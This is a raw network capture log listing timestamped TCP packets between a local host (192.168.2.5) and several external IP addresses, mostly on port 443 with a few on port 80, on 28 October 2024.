Oct 28, 2024 18:43:28.478377104 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.505644083 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.544501066 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.544523954 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.546324968 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.546330929 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.552138090 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:28.552162886 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:28.552287102 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:28.552592039 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:28.552601099 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:28.561594009 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.561602116 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.562107086 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.562110901 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.575258017 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.575273991 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.575334072 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.577253103 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.577265978 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.598434925 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:28.598500967 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:28.659213066 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:28.659239054 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:28.659852982 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:28.661423922 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:28.661463976 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:28.661493063 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:28.670941114 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.671127081 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.671188116 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.671375036 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.671395063 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.671410084 CET	63483	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.671417952 CET	443	63483	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.686048031 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.686094046 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.686150074 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.686619043 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.686633110 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.691531897 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.691610098 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.691656113 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.701777935 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.701786041 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.701796055 CET	63484	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.701800108 CET	443	63484	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.704413891 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.704423904 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.704478979 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.704627037 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:28.704637051 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:28.767381907 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:28.767390966 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:28.767467976 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:28.771606922 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:28.771620989 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.306308985 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.306507111 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.306554079 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.309448004 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.309456110 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.309465885 CET	63478	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.309469938 CET	443	63478	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.348856926 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.348891973 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.349447966 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.349710941 CET	63505	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.349723101 CET	443	63505	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.429507017 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.429555893 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.429622889 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.429827929 CET	63506	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:29.429841995 CET	443	63506	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:29.437103987 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.438900948 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.439074039 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.439089060 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.440025091 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.441961050 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.442006111 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.442522049 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.442527056 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.442992926 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.443007946 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.443627119 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.443639040 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.444102049 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.444106102 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.444968939 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.445255041 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.445281029 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.445293903 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.445883036 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.445893049 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.446032047 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.446054935 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.446460962 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.446466923 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.447024107 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.447267056 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.447273970 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.447678089 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.447693110 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.447740078 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.447746038 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.447781086 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.448380947 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.454667091 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.454777956 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.454915047 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.454921007 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.570830107 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.570935011 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.571139097 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.571371078 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.571372032 CET	63485	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.571424961 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.571460962 CET	443	63485	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574027061 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574244976 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574291945 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574418068 CET	63488	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574421883 CET	443	63488	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574486017 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574522018 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574556112 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574590921 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574625015 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574660063 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574821949 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574826002 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.574839115 CET	63490	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.574841976 CET	443	63490	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.575135946 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.575146914 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.576576948 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.576611042 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.576714993 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.576859951 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.576873064 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.576984882 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.576996088 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.577044964 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.577157974 CET	63510	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.577164888 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.579188108 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.579261065 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.579484940 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.579518080 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.579518080 CET	63489	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.579535007 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.579544067 CET	443	63489	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.582927942 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.582938910 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.583049059 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.583190918 CET	63511	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.583201885 CET	443	63511	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.607234955 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.607894897 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:29.607913017 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.608984947 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.609091043 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:29.610761881 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:29.610838890 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.643022060 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.643098116 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.643131971 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.645257950 CET	63486	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.645276070 CET	443	63486	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.650012970 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.650044918 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.650217056 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.650430918 CET	63513	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:29.650440931 CET	443	63513	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:29.651482105 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.651606083 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:29.651623011 CET	443	63500	108.156.60.50	192.168.2.5
Oct 28, 2024 18:43:29.688030005 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.688069105 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.688390017 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.688390017 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.688425064 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.689672947 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.689701080 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.689830065 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.696398020 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.696410894 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.702894926 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.702954054 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.703349113 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.703358889 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.706675053 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.706705093 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.707088947 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.707705021 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:29.707714081 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:29.708080053 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.708133936 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.708142042 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.717036963 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.717078924 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.717086077 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.726960897 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.727031946 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.727037907 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.755076885 CET	63500	443	192.168.2.5	108.156.60.50
Oct 28, 2024 18:43:29.822881937 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.822983027 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.822987080 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.823014975 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.823075056 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.833756924 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.837655067 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.837738991 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.837796926 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.837807894 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.837852001 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.846977949 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.856008053 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.856066942 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.856084108 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.942320108 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.942421913 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.942430019 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.942454100 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.942549944 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.947874069 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.957016945 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.957071066 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.957077026 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.957174063 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.957235098 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.957240105 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.966640949 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:29.966717005 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:29.966722012 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.017189026 CET	63435	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:30.017473936 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:30.060152054 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.195290089 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.196891069 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.196942091 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.196948051 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.199601889 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.199651957 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.199656963 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.199737072 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.199780941 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.199785948 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.200577021 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.200647116 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.200654984 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.200735092 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.200778961 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.200783968 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.203263998 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.203321934 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.203326941 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.204982996 CET	80	63435	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.204997063 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.205023050 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205094099 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:30.205116034 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205178022 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205277920 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205291033 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.205296993 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205369949 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.205374956 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205451965 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.205497980 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.205502033 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.206653118 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.206713915 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.206717968 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.217542887 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:30.217575073 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:30.222923040 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.222954988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.223125935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.223155022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:30.255362034 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.255366087 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.255697966 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.255865097 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.255871058 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.302028894 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.302110910 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.302128077 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.306905985 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.307174921 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.307240963 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.307248116 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.307440042 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.307446957 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.308605909 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.308676958 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.309845924 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.309910059 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.310065031 CET	63514	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.310071945 CET	443	63514	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.315959930 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.316014051 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.316020966 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.325875998 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.326855898 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.326863050 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.332320929 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.332834959 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.332875013 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.333306074 CET	63509	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.333317995 CET	443	63509	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.335146904 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.335205078 CET	63487	443	192.168.2.5	172.217.18.1
Oct 28, 2024 18:43:30.335210085 CET	443	63487	172.217.18.1	192.168.2.5
Oct 28, 2024 18:43:30.337740898 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.338563919 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.338573933 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.340029001 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.340121031 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.341676950 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.341758013 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.342055082 CET	63515	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.342061996 CET	443	63515	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.344696045 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.345324039 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.345325947 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.345372915 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.345942974 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.345956087 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.346537113 CET	63508	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:30.346549034 CET	443	63508	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.347037077 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.347090960 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.347362995 CET	443	63510	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:30.348532915 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.348623037 CET	443	63516	172.64.41.3	192.168.2.5
Oct 28, 2024 18:43:30.349001884 CET	63516	443	192.168.2.5	172.64.41.3
Oct 28, 2024 18:43:30.349011898 CET	443	63516	172.64.41.3	192.168.2.5
